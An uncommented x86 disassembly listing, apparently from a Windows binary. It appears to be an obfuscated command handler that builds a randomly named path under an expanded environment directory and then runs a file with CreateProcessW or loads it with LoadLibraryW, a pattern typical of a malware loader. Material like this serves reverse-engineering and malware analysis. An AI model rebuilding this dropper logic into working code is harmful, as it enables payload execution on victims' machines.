and eax, edx
xor eax, 0xffffffff
and eax, 2
mov edx, ecx
or edx, 2
xor edx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xfffffffd
xor edx, 0xffffffff
xor ecx, 0xffffffff
and edx, ecx
sub eax, 0x457e6d89
add eax, edx
add eax, 0x457e6d89
sub esp, 4
mov dword [esp], eax
call fcn.00455704
add esp, 4
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
shl eax, 1
sub eax, 0xfffffffe
sub esp, 4
mov dword [esp], eax
call fcn.00455704
add esp, 4
mov ebx, dword [ebp - 0x108]
mov dword [ebx], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ecx]
mov esi, dword [ebp - 0x3c]
mov edx, dword [esi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0045572f
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
mov word [eax + ecx*2], 0
mov esi, dword [ebp - 0x50]
mov eax, dword [esi]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ecx]
mov edx, dword [ebx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0045572f
add esp, 0xc
mov eax, dword [ebx]
mov ecx, dword [esi]
mov word [eax + ecx*2], 0
sub esp, 8
mov dword [esp], 2
mov esi, dword [ebp - 0x104]
mov dword [esp + 4], esi
call fcn.0042f2f0
add esp, 8
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
call fcn.004030f0
add esp, 0xc
mov dword [esp], esi
call fcn.0042f380
add esp, 4
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00455665
add esp, 4
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00455665
add esp, 4
mov ecx, dword [ebp - 0x10]
jmp 0x447516
jmp 0x446c0a
cmp dword [ecx], 2
sete al
test al, 1
jne 0x446c19
jmp 0x446e18
mov eax, dword [esi]
lea ecx, [0x46975f]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.004018f0
add esp, 0xc
cmp eax, 0
je 0x446c67
mov eax, dword [esi]
lea ecx, [0x469763]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.004018f0
add esp, 0xc
cmp eax, 0
jne 0x446c77
jmp 0x446c69
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 4
jmp 0x44751e
mov eax, dword [esi]
lea ecx, [0x46975f]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401650
add esp, 8
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
mov ebx, ecx
mov eax, dword [esi]
lea ecx, [0x469763]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401650
add esp, 8
mov ecx, dword [ebp - 0x7c]
mov dword [ecx], eax
mov esi, ecx
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00455c10
add esp, 4
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.00455c10
add esp, 4
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov ebx, ecx
mov esi, dword [ebp - 0x4c]
mov eax, dword [esi]
shl eax, 1
add eax, 2
sub esp, 4
mov dword [esp], eax
call fcn.00455704
add esp, 4
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebx]
mov edx, eax
xor edx, 0xffffffff
and edx, 0xffffffff
or edx, 0
and edx, 2
mov ecx, eax
and ecx, 0xfffffffd
imul ecx, edx
mov edx, eax
xor edx, 0xfffffffd
and edx, eax
or eax, 2
imul eax, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0xfffffffe
xor eax, eax
sub eax, ecx
sub esp, 4
mov dword [esp], eax
call fcn.00455704
add esp, 4
mov ebx, dword [ebp - 0x100]
mov dword [ebx], eax
mov eax, dword [esi]
mov ecx, dword [ebp - 0x80]
mov ecx, dword [ecx]
mov esi, dword [ebp - 0x38]
mov edx, dword [esi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0045572f
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
mov word [eax + ecx*2], 0
mov esi, dword [ebp - 0x78]
mov eax, dword [esi]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx]
mov edx, dword [ebx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0045572f
add esp, 0xc
mov eax, dword [ebx]
mov ecx, dword [esi]
mov word [eax + ecx*2], 0
sub esp, 8
mov dword [esp], 3
mov esi, dword [ebp - 0xfc]
mov dword [esp + 4], esi
call fcn.0042f2f0
add esp, 8
mov eax, dword [ebx]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], esi
call fcn.00447b80
add esp, 8
mov dword [esp], esi
call fcn.0042f380
add esp, 4
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00455665
add esp, 4
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00455665
add esp, 4
mov ecx, dword [ebp - 0x10]
jmp 0x447514
cmp dword [ecx], 3
jne 0x446e25
mov ecx, dword [ebp - 0x10]
jmp 0x44750e
mov ecx, dword [ebp - 0x10]
jmp 0x446e2a
mov eax, dword [ebp - 0xa8]
cmp dword [eax], 4
sete al
test al, 1
jne 0x446e3f
jmp 0x44750c
mov eax, dword [esi]
lea ecx, [0x46976a]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.004018f0
add esp, 0xc
mov ebx, dword [ebp - 0xf8]
mov dword [ebx], eax
mov eax, dword [esi]
lea ecx, [0x46976c]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.004018f0
add esp, 0xc
mov dword [ebx], eax
mov eax, dword [esi]
lea ecx, [0x46976f]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.004018f0
add esp, 0xc
mov dword [ebx], eax
mov eax, dword [esi]
lea ecx, [0x46976a]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.004018f0
add esp, 0xc
cmp eax, 0
je 0x446f26
mov eax, dword [esi]
lea ecx, [0x46976c]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.004018f0
add esp, 0xc
cmp eax, 0
je 0x446f26
mov eax, dword [esi]
lea ecx, [0x46976f]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.004018f0
add esp, 0xc
cmp eax, 0
jne 0x446f34
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 4
jmp 0x447503
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46976a
call fcn.00401650
add esp, 8
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46976c
call fcn.004016a0
add esp, 8
fnstcw word [ebp - 0x28]
movzx eax, word [ebp - 0x28]
or eax, 0xc00
mov word [ebp - 0x68], ax
fldcw word [ebp - 0x68]
fistp dword [ebp - 0x128]
fldcw word [ebp - 0x28]
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46976f
call fcn.004016a0
add esp, 8
fnstcw word [ebp - 0x26]
movzx eax, word [ebp - 0x26]
or eax, 0xc00
mov word [ebp - 0x66], ax
fldcw word [ebp - 0x66]
fistp dword [ebp - 0x12c]
fldcw word [ebp - 0x26]
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
sub esp, 0xc
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov dword [esp + 8], 0x80
mov dword [esp + 4], 0
call fcn.00450760
mov esi, dword [ebp - 0x14]
mov dword [esp], esi
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
call fcn.00450760
add esp, 0xc
mov ax, word [0x4755ba]
mov ecx, dword [ebp - 0xf0]
mov word [ecx + 0xc], ax
mov eax, dword [0x4755b6]
mov dword [ecx + 8], eax
mov eax, dword [0x4755b2]
mov dword [ecx + 4], eax
mov eax, dword [0x4755ae]
mov dword [ecx], eax
sub esp, 0xc
mov dword [esp + 4], esi
mov dword [esp], ecx
mov dword [esp + 8], 0x200
mov eax, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call eax
call fcn.00447690
sub esp, 4
mov dword [esp], eax
call fcn.004559dc
add esp, 4
call fcn.004559ee
mov ecx, 0xa
cdq
idiv ecx
add edx, 0x99550036
sub edx, 0x9955002c
mov esi, dword [ebp - 0xec]
mov dword [esi], edx
mov ecx, dword [ebp - 0x44]
mov dword [ecx], 0
mov eax, dword [ecx]
cmp eax, dword [esi]
jl 0x44709b
mov eax, dword [ebp - 0x10]
jmp 0x447093
mov dword [eax], 8
jmp 0x4470dc
jmp 0x44709d
call fcn.004559ee
mov ecx, 0x18
cdq
idiv ecx
add edx, 0x17ed08ba
add edx, 0xf09d6822
add edx, 0xe812f7a7
sub edx, 0xf09d6822
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov word [ecx + eax*2], dx
jmp 0x4470d0
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx]
add eax, 1
mov dword [ecx], eax
jmp 0x447088
lea eax, [0x46813c]
sub esp, 8
mov esi, dword [ebp - 0x14]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.00459145
mov dword [esp], esi
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], eax
call fcn.00459145
add esp, 8
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0
jne 0x447275
mov eax, dword [0x4755da]
mov ecx, dword [ebp - 0xe8]
mov dword [ecx], eax
mov eax, dword [0x4755de]
mov dword [ecx + 4], eax
mov ax, word [0x4755e2]
mov word [ecx + 8], ax
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00459145
add esp, 8
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jne 0x4471a5
xor eax, eax
sub esp, 0xc
mov esi, dword [ebp - 0xe0]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x400
call fcn.00450760
add esp, 0xc
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], esi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x200
call fcn.0045572f
add esp, 4
mov dword [esp], esi
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
call fcn.0042ea30
add esp, 8
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jne 0x447264
xor eax, eax
sub esp, 0xc
mov esi, dword [ebp - 0xdc]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.00450760
add esp, 0xc
mov dword [esi], 0x44
xor eax, eax
sub esp, 0xc
mov edi, dword [ebp - 0xd8]
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.00450760
add esp, 0xc
xor eax, eax
sub esp, 0x28
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x447264
mov eax, dword [ebp - 0x18]
cmp dword [eax], 1
jne 0x447272
jmp 0x44726e
jmp 0x447270
jmp 0x447272
mov edi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 1
jne 0x447367
mov eax, dword [0x4755ee]
mov ecx, dword [ebp - 0xd0]
mov dword [ecx], eax
mov eax, dword [0x4755f2]
mov dword [ecx + 4], eax
mov ax, word [0x4755f6]
mov word [ecx + 8], ax
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00459145
add esp, 8
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
setge al
test al, 1
jne 0x4472c4
jmp 0x44732c
jmp 0x4472c6
mov eax, dword [ebp - 0x18]
cmp dword [eax], 1
setle al
test al, 1
jne 0x4472d5
jmp 0x44732c
xor eax, eax
sub esp, 0xc
mov esi, dword [ebp - 0xcc]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x400
call fcn.00450760
add esp, 0xc
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], esi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x200
call fcn.0045572f
add esp, 4
mov dword [esp], esi
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
call fcn.0042ea30
add esp, 8
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jne 0x447343
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x447345
mov eax, dword [ebp - 0x18]
cmp dword [eax], 1
sete al
test al, 1
jne 0x447354
jmp 0x44735a
jmp 0x447356
jmp 0x447358
jmp 0x44735a
mov eax, dword [ebp - 0x18]
cmp dword [eax], 2
jne 0x447364
jmp 0x447364
mov edi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 2
jne 0x4474f0
mov eax, dword [0x4755c6]
mov ecx, dword [ebp - 0xc8]
mov dword [ecx], eax
mov eax, dword [str.___tW]
mov dword [ecx + 4], eax
mov ax, word [0x4755ce]
mov word [ecx + 8], ax
sub esp, 8
mov esi, dword [ebp - 0x14]
mov dword [esp], esi
mov dword [esp + 4], ecx
call fcn.00459145
add esp, 8
xor eax, eax
sub esp, 0xc
mov ebx, dword [ebp - 0xc4]
mov dword [esp], ebx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x400
call fcn.00450760
add esp, 0xc
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x200
call fcn.0045572f
add esp, 4
mov dword [esp], ebx
mov dword [esp + 4], esi
call fcn.0042ea30
add esp, 8
lea eax, [0x475640]
sub esp, 0xc
mov ebx, dword [ebp - 0xc0]
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3a
call fcn.0044fc60
sub esp, 4
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
mov dword [esp + 4], 0x200
mov dword [esp + 8], ebx
mov dword [esp + 0xc], esi
call fcn.004476c0
add esp, 0x10
xor eax, eax
sub esp, 0xc
mov esi, dword [ebp - 0xbc]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.00450760
add esp, 0xc
mov dword [esi], 0x44
xor eax, eax
sub esp, 0xc
mov ebx, dword [ebp - 0xb8]
mov dword [esp], ebx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.00450760
add esp, 0xc
xor eax, eax
sub esp, 0x28
mov dword [esp], 0
mov eax, dword [ebp - 0x74]
mov dword [esp + 4], eax
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 3
mov ecx, dword [ebp - 0x10]
jne 0x4474fd
jmp 0x4474fd
mov dword [ecx], 0
mov eax, dword [ecx]
cmp eax, 0
jne 0x44751e
jmp 0x44750c
jmp 0x44750e
jmp 0x447510
jmp 0x447512
jmp 0x447514
jmp 0x447516
jmp 0x447518
mov dword [ecx], 0
jmp 0x447520
jmp 0x447522
mov eax, dword [ecx]
test eax, eax
je 0x447534
jmp 0x44752a
sub eax, 4
je 0x447536
jmp 0x44767f
jmp 0x447536
mov eax, dword [edi]
sub eax, 0xffffffff
mov dword [edi], eax
mov esi, dword [ebp - 0xac]
jmp 0x446328
mov edi, dword [ebp - 0xb4]
mov esi, dword [ebp - 0x11c]
call fcn.00445690
sub esp, 8
mov dword [esp], 1
mov dword [esp + 4], ebx
call fcn.0042f2f0
add esp, 4
mov dword [esp], ebx
call fcn.00449b70
mov dword [esp], ebx
call fcn.00449110
add esp, 4
mov eax, dword [edi]
lea ecx, [0x469771]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 6
call fcn.004018f0
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x4475b0
jmp 0x4475e5
mov eax, dword [edi]
lea ecx, [0x469771]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401790
add esp, 8
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
cmp dword [ecx], 0
je 0x4475e5
sub esp, 4
mov dword [esp], ebx
call fcn.00448480
add esp, 4
sub esp, 4
mov dword [esp], ebx
call fcn.0042f380
add esp, 4
mov ebx, dword [ebp - 0xf4]
mov dword [ebx], 0
mov eax, dword [edi]
lea ecx, [0x469774]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 6
call fcn.004018f0
add esp, 0xc
cmp eax, 0
je 0x447642
mov eax, dword [edi]
lea ecx, [0x469774]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401790
add esp, 8
mov dword [ebx], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00401a80
add esp, 4
cmp dword [ebx], 0
je 0x447666
jmp 0x44765f
call fcn.00448790
jmp 0x447666
mov dword [esi], 1
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
mov eax, dword [esi]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
jmp 0x447681
jmp 0x447683
int3